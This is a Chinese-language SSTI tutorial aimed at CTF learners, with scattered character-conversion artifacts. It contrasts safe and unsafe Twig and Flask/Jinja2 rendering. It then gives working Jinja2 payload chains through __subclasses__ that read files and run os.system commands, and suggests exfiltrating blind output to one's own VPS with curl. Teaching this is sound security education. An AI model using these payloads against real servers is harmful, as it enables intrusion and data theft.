SSTI基礎(chǔ)
SSTI:Server Side Template Injection,服務(wù)端模板注入。
因?yàn)樽髡咭彩鞘状螌W(xué)習(xí)此知識(shí)點(diǎn),所有講解可能會(huì)有些啰嗦,教程大概沒(méi)有了解過(guò)模板的開(kāi)發(fā)方式和模板注入的同學(xué)也可以聽(tīng)懂。
主要內(nèi)容:
模板是什么
模板注入原理
Flask的介紹和利用
更新了一些題目,可供練手用。
原理
模板是什么
模板可以理解為一段固定好格式,等著你來(lái)填充信息的文件。通過(guò)這種方法,可以做到邏輯與視圖分離,更容易、清楚且相對(duì)安全地編寫(xiě)前后端不同的邏輯。作為對(duì)比,一個(gè)很不好的解決方法是用腳本語(yǔ)言的字符串拼接html,然后統(tǒng)一輸出。
這是一個(gè)模板的例子:
<!--login.tpl-->
<html>
<head>
<title>{{title}}</title>
</head>
<body>
<form method="{{method}}",action={{action}}>
<input type="text" name="user" value="{{username}}">
</form>
<p>
This page took {{microtime(true) - time}} seconds to render.
</p>
</body>
</html>
對(duì)應(yīng)的后端代碼邏輯可以是:
$templateEngine = new TemplateEngine();
$tpl = $templateEngine->loadFile(login.tpl);
$tpl->assign('title','Login');
$tpl->assign('method','post');
$tpl->assign('action','login.php');
$tpl->assign('username',getUserNameFromCookie());
$tpl->assign('time',microtime(true));
$tmp->show();
模板注入基本原理
如果用戶輸入作為【模板當(dāng)中變量 的值】,模板引擎一般會(huì)對(duì)用戶輸入進(jìn)行編碼轉(zhuǎn)義,不容易造成XSS攻擊。
<?php
require_once(dirname(__FILE__).'/../lib/Twig/Autoloader.php');
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" =>$_GET["name"])); // 將用戶輸入作為模版變量的值
echo $output;
?>
這段代碼輸入<script>alert(1)</script>會(huì)原樣輸出,因?yàn)檫M(jìn)行了HTML實(shí)體編碼。
但是如果用戶輸入作為了【模板內(nèi)容 的一部分】,用戶輸入會(huì)原樣輸出。
<?php
require_once(dirname(__FILE__).'/../lib/Twig/Autoloader.php');
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}"); // 將用戶輸入作為模版內(nèi)容的一部分
echo $output;
?>
這段代碼輸入<script>alert(1)</script>會(huì)造成XSS漏洞。
如果輸入Vuln{%23 comment %23}{{2*8}},會(huì)執(zhí)行2*8這個(gè)語(yǔ)句,輸出Hello Vuln16。因?yàn)榻?jīng)過(guò)渲染后,模板變成了Hello Vuln{# comment #}{{2\*8}}。
不同的模板會(huì)有不同的語(yǔ)法,一般使用Detect-Identify-Expoit的利用流程。
識(shí)別不同模板

模板基礎(chǔ)與利用方法
A.Python-Flask
它使用Jinja2作為渲染引擎
a.路由
通過(guò)@的注解方式,將資源和函數(shù)對(duì)應(yīng)起來(lái)。
from flask import flask
@app.route('/index/')
def hello_word():
return 'hello word'
app.route裝飾器作用是把函數(shù)和URL綁定。
也就是說(shuō),訪問(wèn)http://host:port/index的時(shí)候,flask會(huì)返回HelloWorld。
b.渲染
渲染的方法有render_template和render_template_string兩種。
render_template()是用來(lái)渲染一個(gè)指定的文件的
return render_template('index.html')
render_template_string則是用來(lái)渲染一個(gè)字符串的
html = '<h1>This is index page</h1>'
return render_template_string(html)
c.模板使用
文件結(jié)構(gòu):在網(wǎng)站根目錄下新建templates文件夾,存放html的模板文件。
Flask使用Jinja2這個(gè)渲染引擎,它是以{{}}作為變量包裹的標(biāo)識(shí)符。同時(shí),這個(gè)符號(hào)包裹內(nèi)還可以執(zhí)行一些簡(jiǎn)單的表達(dá)式。
模板的使用:示例
<!--/templates/index.html-->
<h1>{{content}}</h1>
#test.py
from flask import *
@app.route('/index/')
def user_login():
return render_template('index.html',content='This is index page.')
模板的不安全使用:示例
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
這里直接將用戶輸入作為了模板,不會(huì)經(jīng)過(guò)轉(zhuǎn)義和過(guò)濾的步驟,很容易XSS。
模板的安全使用:示例
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)
模板引擎會(huì)對(duì)輸入變量進(jìn)行編碼轉(zhuǎn)義。
d.利用方法
首先,F(xiàn)lask中有一些全局變量,例如:
{{config}}
{{requests.environ}}
主要是通過(guò)Python對(duì)象的繼承,用魔術(shù)方法一步步找到可利用的方法去執(zhí)行。即找到父類<type 'object'>–>尋找子類–>找關(guān)于命令執(zhí)行或者文件操作的模塊。
對(duì)象的魔術(shù)方法:
__class__ 返回類型所屬的對(duì)象
__mro__ 返回一個(gè)包含對(duì)象所繼承的基類元組,方法在解析時(shí)按照元組的順序解析。
__base__ 返回該對(duì)象所繼承的基類
// __base__和__mro__都是用來(lái)尋找基類的
__subclasses__ 每個(gè)新類都保留了子類的引用,這個(gè)方法返回一個(gè)類中仍然可用的的引用的列表
__init__ 類的初始化方法
__globals__ 對(duì)包含函數(shù)全局變量的字典的引用
下面簡(jiǎn)單解釋一下利用過(guò)程
文件讀取
#獲取''字符串的所屬對(duì)象
>>> ''.__class__
<class 'str'>
#獲取str類的父類
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
#獲取object類的所有子類
>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>...
#有很多類,后面省略
現(xiàn)在只需要從這些類中尋找需要的類,用數(shù)組下標(biāo)獲取,然后執(zhí)行該類中想要執(zhí)行的函數(shù)即可。比如第41個(gè)類是file類,就可以構(gòu)造利用:
''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read()
再比如,如果沒(méi)有file類,使用類<class '_frozen_importlib_external.FileLoader'>,可以進(jìn)行文件的讀取。這里是第91個(gè)類。
''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>")
命令執(zhí)行
首先通過(guò)腳本找到包含os模塊的類。
num = 0
for item in ''.__class__.__mro__[1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print (num,item)
num+=1
except:
print ('-')
num+=1
假設(shè)輸出為x編號(hào)的類,則可以構(gòu)造
''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['os'].system('ls')
命令執(zhí)行的結(jié)果如果不能直接看到,可以考慮通過(guò)curl工具發(fā)送到自己的VPS,或者使用CEYE平臺(tái)。
執(zhí)行腳本發(fā)現(xiàn),包含os模塊的類:
<class 'site._Printer'>
<class 'site.Quitter'>
其他函數(shù)的利用同理。
e.練習(xí)題目
攻防世界:Web_python_template_injection ,F(xiàn)lask模板注入板子題,上述知識(shí)即可解決。